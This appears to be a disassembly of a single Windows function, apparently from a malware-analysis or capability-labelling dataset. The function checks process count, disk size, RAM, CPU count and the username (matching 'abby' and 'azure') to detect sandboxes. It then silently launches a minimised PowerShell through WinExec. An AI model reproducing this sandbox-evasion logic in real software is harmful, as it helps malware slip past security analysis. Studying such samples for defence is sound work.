Function at 0x140001a00
Capabilities:
Create process on windows
Get disk size
Get memory capacity
Get system information on windows

Disassembly:
push rbp
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x88
lea rbp, [rsp + 0x80]
mov qword [rbp], 0xfffffffffffffffe
call section..text
xor r15d, r15d
cmp eax, 0x5a
jl 0x140001b8b
mov r14d, eax
xor r15d, r15d
lea rdx, [rbp - 0x50]
lea r8, [rbp - 0x10]
lea r9, [rbp - 0x58]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceExA]
test eax, eax
je 0x140001b70
mov rbx, qword [rbp - 0x10]
shr rbx, 0x1e
cmp ebx, 0x79
jl 0x140001b8b
mov dword [rbp - 0x50], 0x40
lea rcx, [rbp - 0x50]
call qword [sym.imp.KERNEL32.dll_GlobalMemoryStatusEx]
mov rdi, qword [rbp - 0x48]
shr rdi, 0x1e
cmp edi, 3
jl 0x140001b8b
lea r12, [rbp - 0x50]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov eax, dword [rbp - 0x30]
cmp eax, 3
jl 0x140001b8b
mov dword [rbp - 4], eax
mov rcx, r12
call fcn.140001190
mov rsi, qword [rbp - 0x40]
mov r13, qword [rbp - 0x38]
cmp r13, 0x10
jb 0x140001abf
mov r12, qword [rbp - 0x50]
cmp rsi, 4
jb 0x140001bc7
lea r15, [rsi + r12]
add r15, 0xfffffffffffffffd
mov r8, r15
sub r8, r12
mov rcx, r12
mov edx, 0x61
call fcn.14000f210
test rax, rax
je 0x140001b10
cmp dword [rax], 0x79626261
je 0x140001ba2
inc rax
mov r8, r15
sub r8, rax
mov rcx, rax
mov edx, 0x61
call fcn.14000f210
test rax, rax
jne 0x140001ae9
cmp rsi, 5
jb 0x140001bc7
add rsi, r12
add rsi, 0xfffffffffffffffc
mov r8, rsi
sub r8, r12
mov rcx, r12
mov edx, 0x61
call fcn.14000f210
test rax, rax
je 0x140001bc7
mov r15d, 0x72757a61
mov ecx, dword [rax]
xor ecx, r15d
movzx edx, byte [rax + 4]
xor edx, 0x65
or edx, ecx
je 0x140001bb7
inc rax
mov r8, rsi
sub r8, rax
mov rcx, rax
mov edx, 0x61
call fcn.14000f210
test rax, rax
jne 0x140001b43
jmp 0x140001bc7
lea rcx, [0x1400446b0]
lea rdx, str.Error:_Unable_to_retrieve_disk_information.
call fcn.140001d80
mov rcx, rax
call fcn.140002170
mov eax, r15d
add rsp, 0x88
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
sub rax, r12
xor r15d, r15d
cmp rax, 0xffffffffffffffff
jne 0x140001cad
jmp 0x140001b10
sub rax, r12
xor r15d, r15d
cmp rax, 0xffffffffffffffff
jne 0x140001cad
lea rcx, [0x1400446b0]
lea rdx, str.Total_process
call fcn.140001d80
mov rcx, rax
mov edx, r14d
call fcn.140002240
mov rcx, rax
call fcn.140002170
lea rdx, str.total_size_of_disk
mov rcx, rax
call fcn.140001d80
mov rcx, rax
mov edx, ebx
call fcn.140003040
mov rcx, rax
call fcn.140002170
lea rdx, str.Total_Ram
mov rcx, rax
call fcn.140001d80
mov rcx, rax
mov edx, edi
call fcn.140003040
mov rcx, rax
call fcn.140002170
lea rdx, str.total_process_count
mov rcx, rax
call fcn.140001d80
mov rcx, rax
mov edx, dword [rbp - 4]
call fcn.140003040
mov rcx, rax
call fcn.140002170
lea rdx, str.username
mov rcx, rax
call fcn.140001d80
mov r8, qword [rbp - 0x40]
cmp qword [rbp - 0x38], 0x10
jb 0x140001c71
mov rdx, qword [rbp - 0x50]
jmp 0x140001c75
lea rdx, [rbp - 0x50]
mov rcx, rax
call fcn.14000b460
mov rcx, rax
call fcn.140002170
lea rdx, str.Hello_World__n
mov rcx, rax
call fcn.140001d80
lea rcx, str.cmd.exe__c_start__min____powershell.exe__NoExit
xor edx, edx
call qword [sym.imp.KERNEL32.dll_WinExec]
mov r15d, 1
mov r13, qword [rbp - 0x38]
cmp r13, 0x10
jb 0x140001b8b
mov rcx, qword [rbp - 0x50]
lea rdx, [r13 + 1]
cmp rdx, 0x1000
jb 0x140001ce3
mov rax, qword [rcx - 8]
add rcx, 0xfffffffffffffff8
sub rcx, rax
cmp rcx, 0x20
jae 0x140001ced
add r13, 0x28
mov rdx, r13
mov rcx, rax
call fcn.14000b99c
jmp 0x140001b8b
call fcn.1400136f4
int3